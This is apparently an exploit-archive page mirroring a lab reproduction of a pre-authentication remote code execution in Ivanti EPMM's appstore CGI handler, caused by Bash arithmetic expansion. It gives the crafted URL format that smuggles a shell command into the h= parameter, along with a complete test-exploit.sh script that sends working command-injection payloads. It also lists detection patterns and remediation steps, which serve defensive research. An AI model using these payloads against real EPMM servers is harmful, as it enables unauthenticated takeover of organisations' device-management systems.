PoC Archive PoC Archive
Critical CVE-2026-1281, CVE-2026-1340 unpatched

Ivanti EPMM Pre-Auth RCE via Bash Arithmetic Expansion (CVE-2026-1281 / CVE-2026-1340)

by YunfeiGE18 (lab reproduction of watchTowr Labs research) · 2026-07-05

Severity
Critical
CVE
CVE-2026-1281, CVE-2026-1340
Category
network
Affected product
Ivanti Endpoint Manager Mobile (EPMM), map-appstore-url CGI handler
Affected versions
Not specified in source (lab reproduces the vulnerable logic rather than a specific shipped version)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / ResearcherYunfeiGE18 (lab reproduction of watchTowr Labs research)
CVE / AdvisoryCVE-2026-1281, CVE-2026-1340
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsivanti, epmm, mobileiron, pre-auth-rce, bash, arithmetic-expansion, command-injection, docker-lab
RelatedN/A

Affected Target

FieldValue
Software / SystemIvanti Endpoint Manager Mobile (EPMM), map-appstore-url CGI handler
Versions AffectedNot specified in source (lab reproduces the vulnerable logic rather than a specific shipped version)
Language / PlatformBash (target CGI script), Nginx + fcgiwrap, Docker
Authentication RequiredNo
Network Access RequiredYes

Summary

This is a self-contained Docker/Nginx lab that reproduces the vulnerable Bash logic behind Ivanti EPMM’s pre-auth RCE (as documented by watchTowr Labs). The map-appstore-url CGI script parses comma-separated key=value pairs from a crafted appstore URL in a loop, reusing a shared theValue variable across iterations. By supplying st=theValue (so gStartTime literally becomes the string "theValue") followed by an h= parameter containing gPath[\command`], the script's later Bash arithmetic comparison ([[ … -gt ${gStartTime} ]]) resolves gStartTimeas a variable reference back totheValue, whose content is an array index containing command substitution — triggering arbitrary command execution. The lab includes a test-exploit.sh` harness that verifies file-creation, custom-content, and time-based (sleep) command execution against the dummy target.


Vulnerability Details

Root Cause

Bash’s arithmetic evaluation context ([[ ... -gt ... ]]) treats a variable’s string content as another variable name if it looks like one, and further expands array-style index syntax containing backticks as command substitution — so reusing a loop variable (theValue) across unrelated key parses lets attacker-controlled input flow into an arithmetic/array-index context and execute commands.

Attack Vector

  1. Send a request to the map-appstore-url endpoint with URL path /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=<10-digit>,h=gPath%5B%60COMMAND%60%5D/uuid.ipa.
  2. The st=theValue parameter (literal string “theValue” padded to 10 characters) sets gStartTime="theValue".
  3. The subsequent h=gPath[\COMMAND`]parameter sets the loop's sharedtheValue` variable to an array-index expression containing the attacker’s command.
  4. When the script later evaluates [[ ${currentTime} -gt ${gStartTime} ]], Bash’s arithmetic context resolves gStartTime"theValue" → the attacker’s gPath[\COMMAND`]`, triggering command substitution and executing the injected command as the web server user (root in the lab container).

Impact

Unauthenticated remote code execution on the vulnerable EPMM component, as demonstrated by writing arbitrary files and confirming root-level command output (id returns uid=0(root)) in the lab.


Environment / Lab Setup

Target:   Docker container running Nginx + fcgiwrap serving the vulnerable map-appstore-url Bash CGI script (docker-compose up --build -d, exposed on localhost:8180)
Attacker: curl or any HTTP client

Proof of Concept

PoC Script

See test-exploit.sh, scripts/map-appstore-url, docker-compose.yml, Dockerfile, and nginx.conf in this folder.

1
2
docker-compose up --build -d
./test-exploit.sh http://localhost:8180

test-exploit.sh runs a health check, then sends crafted appstore URLs (id > /mi/poc, echo EXPLOITED > /mi/custom, and a sleep 3 timing check) against the dummy target and verifies command execution by inspecting the resulting files and response timing.


Detection & Indicators of Compromise

GET /mifs/c/appstore/fob/*/*/sha256:*st=theValue*h=gPath%5B%60*

Signs of compromise:

  • Requests to map-appstore-url / appstore endpoints with st=theValue (or similarly crafted 10-character values) combined with backtick/array-index syntax in the h= parameter
  • Unexpected files or command output written by the web server process (e.g. in EPMM’s data directories)
  • Anomalous CGI/nginx process spawning shell children shortly after appstore requests

Remediation

ActionDetail
Primary fixApply the Ivanti EPMM security patch addressing CVE-2026-1281 / CVE-2026-1340 (see vendor advisory)
Interim mitigationRestrict network access to the EPMM appstore endpoint, and monitor/alert on requests containing backtick or array-index characters in URL parameters

References


Notes

Mirrored from https://github.com/YunfeiGE18/CVE-2026-1281-CVE-2026-1340-Ivanti-EPMM-RCE on 2026-07-05.

test-exploit.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/bin/bash
#
# Test script for Ivanti EPMM Dummy Target
#

TARGET="${1:-http://localhost:8180}"
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

echo "========================================"
echo "Ivanti EPMM Exploit Test Suite"
echo "Target: ${TARGET}"
echo "========================================"
echo ""

# Test 1: Health Check
echo -e "${YELLOW}[Test 1] Health Check${NC}"
HEALTH=$(curl -s "${TARGET}/health")
if [[ "$HEALTH" == "OK" ]]; then
    echo -e "${GREEN}✓ Target is reachable${NC}"
else
    echo -e "${RED}✗ Target not reachable. Is the container running?${NC}"
    exit 1
fi
echo ""

# Test 2: File Creation
echo -e "${YELLOW}[Test 2] File Creation (id > /mi/poc)${NC}"
rm -f artifacts/poc 2>/dev/null

PAYLOAD='http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa'
echo "Sending: $PAYLOAD"
curl -s "${TARGET}/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa" > /dev/null

sleep 1

if [[ -f "artifacts/poc" ]]; then
    echo -e "${GREEN}✓ File created successfully!${NC}"
    echo "Contents:"
    cat artifacts/poc
else
    echo -e "${RED}✗ File was not created${NC}"
fi
echo ""

# Test 3: Custom Content
echo -e "${YELLOW}[Test 3] Custom Content (echo EXPLOITED > /mi/custom)${NC}"
rm -f artifacts/custom 2>/dev/null

curl -s "${TARGET}/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20EXPLOITED%20%3E%20/mi/custom%60%5D/test.ipa" > /dev/null

sleep 1

if [[ -f "artifacts/custom" ]]; then
    CONTENT=$(cat artifacts/custom)
    if [[ "$CONTENT" == *"EXPLOITED"* ]]; then
        echo -e "${GREEN}✓ Custom content written successfully!${NC}"
        echo "Contents: $CONTENT"
    else
        echo -e "${RED}✗ Content mismatch${NC}"
    fi
else
    echo -e "${RED}✗ File was not created${NC}"
fi
echo ""

# Test 4: Time-based (optional, takes 3 seconds)
echo -e "${YELLOW}[Test 4] Time-based Test (sleep 3)${NC}"
echo "This should take approximately 3 seconds..."

START_TIME=$(date +%s)
curl -s "${TARGET}/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%203%60%5D/test.ipa" > /dev/null
END_TIME=$(date +%s)

ELAPSED=$((END_TIME - START_TIME))
echo "Elapsed time: ${ELAPSED} seconds"

if [[ $ELAPSED -ge 3 ]]; then
    echo -e "${GREEN}✓ Time-based test passed (command was executed)${NC}"
else
    echo -e "${RED}✗ Response was too fast - command may not have executed${NC}"
fi
echo ""

echo "========================================"
echo "Test Suite Complete"
echo "========================================"